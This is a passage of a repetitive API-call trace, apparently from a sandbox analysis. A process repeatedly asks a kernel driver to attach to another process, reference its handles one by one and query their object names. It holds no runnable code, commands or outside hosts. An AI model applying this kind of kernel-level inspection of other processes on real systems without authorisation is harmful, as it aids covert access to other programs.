(Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.145] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.145] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.145] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.145] PsAcquireProcessExitSynchronization () returned 0x0 [0136.145] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.145] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001aa6d40, HandleInformation=0x0) returned 0x0 [0136.145] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.145] PsReleaseProcessExitSynchronization () returned 0x2 [0136.145] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.145] ObQueryNameString (in: Object=0xfffff8a001aa6d40, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.145] ObfDereferenceObject (Object=0xfffff8a001aa6d40) returned 0x1 [0136.145] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.145] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.145] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.145] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.145] PsAcquireProcessExitSynchronization () returned 0x0 [0136.145] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.145] ObReferenceObjectByHandle (in: Handle=0x254, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001aaed80, HandleInformation=0x0) returned 0x0 [0136.145] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.145] PsReleaseProcessExitSynchronization () returned 0x2 [0136.145] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.145] ObQueryNameString (in: Object=0xfffff8a001aaed80, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.145] ObfDereferenceObject (Object=0xfffff8a001aaed80) returned 0x1 [0136.146] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.146] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.146] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.146] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.146] PsAcquireProcessExitSynchronization () returned 0x0 [0136.146] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.146] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001aae1f0, HandleInformation=0x0) returned 0x0 [0136.146] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.146] PsReleaseProcessExitSynchronization () returned 0x2 [0136.146] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.146] ObQueryNameString (in: Object=0xfffff8a001aae1f0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.146] ObfDereferenceObject (Object=0xfffff8a001aae1f0) returned 0x1 [0136.146] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.146] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.146] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.146] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.146] PsAcquireProcessExitSynchronization () returned 0x0 [0136.146] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.146] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001aacfc0, HandleInformation=0x0) returned 0x0 [0136.146] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.146] PsReleaseProcessExitSynchronization () returned 0x2 [0136.146] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.146] ObQueryNameString (in: Object=0xfffff8a001aacfc0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.146] ObfDereferenceObject (Object=0xfffff8a001aacfc0) returned 0x1 [0136.146] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.146] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.146] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.146] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.146] PsAcquireProcessExitSynchronization () returned 0x0 [0136.146] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.146] ObReferenceObjectByHandle (in: Handle=0x268, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001aad6f0, HandleInformation=0x0) returned 0x0 [0136.146] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.147] PsReleaseProcessExitSynchronization () returned 0x2 [0136.147] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.147] ObQueryNameString (in: Object=0xfffff8a001aad6f0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.147] ObfDereferenceObject (Object=0xfffff8a001aad6f0) returned 0x1 [0136.147] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.147] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.147] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.147] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.147] PsAcquireProcessExitSynchronization () returned 0x0 [0136.147] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.147] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0012500e0, HandleInformation=0x0) returned 0x0 [0136.147] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.147] PsReleaseProcessExitSynchronization () returned 0x2 [0136.147] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.147] ObQueryNameString (in: Object=0xfffff8a0012500e0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.147] ObfDereferenceObject (Object=0xfffff8a0012500e0) returned 0x1 [0136.147] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.147] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.147] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.147] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.147] PsAcquireProcessExitSynchronization () returned 0x0 [0136.147] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.147] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00206f1f0, HandleInformation=0x0) returned 0x0 [0136.147] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.147] PsReleaseProcessExitSynchronization () returned 0x2 [0136.147] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.147] ObQueryNameString (in: Object=0xfffff8a00206f1f0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.147] ObfDereferenceObject (Object=0xfffff8a00206f1f0) returned 0x1 [0136.147] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.147] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.147] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.147] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.147] PsAcquireProcessExitSynchronization () returned 0x0 [0136.148] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.148] ObReferenceObjectByHandle (in: Handle=0x28c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089e92b0, HandleInformation=0x0) returned 0x0 [0136.148] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.148] PsReleaseProcessExitSynchronization () returned 0x2 [0136.148] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.148] ObQueryNameString (in: Object=0xfffff8a0089e92b0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.148] ObfDereferenceObject (Object=0xfffff8a0089e92b0) returned 0x1 [0136.148] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.148] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.148] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.148] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.148] PsAcquireProcessExitSynchronization () returned 0x0 [0136.148] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.148] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001247880, HandleInformation=0x0) returned 0x0 [0136.148] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.148] PsReleaseProcessExitSynchronization () returned 0x2 [0136.148] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.148] ObQueryNameString (in: Object=0xfffff8a001247880, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.148] ObfDereferenceObject (Object=0xfffff8a001247880) returned 0x1 [0136.148] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.148] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.148] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.148] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.148] PsAcquireProcessExitSynchronization () returned 0x0 [0136.148] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.148] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001b237a0, HandleInformation=0x0) returned 0x0 [0136.148] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.148] PsReleaseProcessExitSynchronization () returned 0x2 [0136.148] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.148] ObQueryNameString (in: Object=0xfffff8a001b237a0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.148] ObfDereferenceObject (Object=0xfffff8a001b237a0) returned 0x1 [0136.148] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.149] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.149] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.149] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.149] PsAcquireProcessExitSynchronization () returned 0x0 [0136.149] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.149] ObReferenceObjectByHandle (in: Handle=0x2b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001625eb0, HandleInformation=0x0) returned 0x0 [0136.149] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.149] PsReleaseProcessExitSynchronization () returned 0x2 [0136.149] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.149] ObQueryNameString (in: Object=0xfffff8a001625eb0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.149] ObfDereferenceObject (Object=0xfffff8a001625eb0) returned 0x1 [0136.149] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.149] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.149] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.149] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.149] PsAcquireProcessExitSynchronization () returned 0x0 [0136.149] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.149] ObReferenceObjectByHandle (in: Handle=0x2cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0017fefc0, HandleInformation=0x0) returned 0x0 [0136.149] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.149] PsReleaseProcessExitSynchronization () returned 0x2 [0136.149] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.149] ObQueryNameString (in: Object=0xfffff8a0017fefc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.149] ObfDereferenceObject (Object=0xfffff8a0017fefc0) returned 0x1 [0136.149] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.149] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.149] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0136.149] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.149] PsAcquireProcessExitSynchronization () returned 0x0 [0136.149] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.149] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800346f580, HandleInformation=0x0) returned 0x0 [0136.150] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.150] PsReleaseProcessExitSynchronization () returned 0x2 [0136.150] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.150] ObQueryNameString (in: Object=0xfffffa800346f580, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.150] ObfDereferenceObject (Object=0xfffffa800346f580) returned 0x2 [0136.150] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.150] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.150] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.150] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.150] PsAcquireProcessExitSynchronization () returned 0x0 [0136.150] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.150] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001811930, HandleInformation=0x0) returned 0x0 [0136.150] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.150] PsReleaseProcessExitSynchronization () returned 0x2 [0136.150] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.150] ObQueryNameString (in: Object=0xfffff8a001811930, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.150] ObfDereferenceObject (Object=0xfffff8a001811930) returned 0x1 [0136.150] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.150] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.150] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.150] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.150] PsAcquireProcessExitSynchronization () returned 0x0 [0136.150] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.150] ObReferenceObjectByHandle (in: Handle=0x2e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001b633e0, HandleInformation=0x0) returned 0x0 [0136.150] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.150] PsReleaseProcessExitSynchronization () returned 0x2 [0136.150] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.150] ObQueryNameString (in: Object=0xfffff8a001b633e0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.150] ObfDereferenceObject (Object=0xfffff8a001b633e0) returned 0x1 [0136.150] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.150] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.150] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.151] 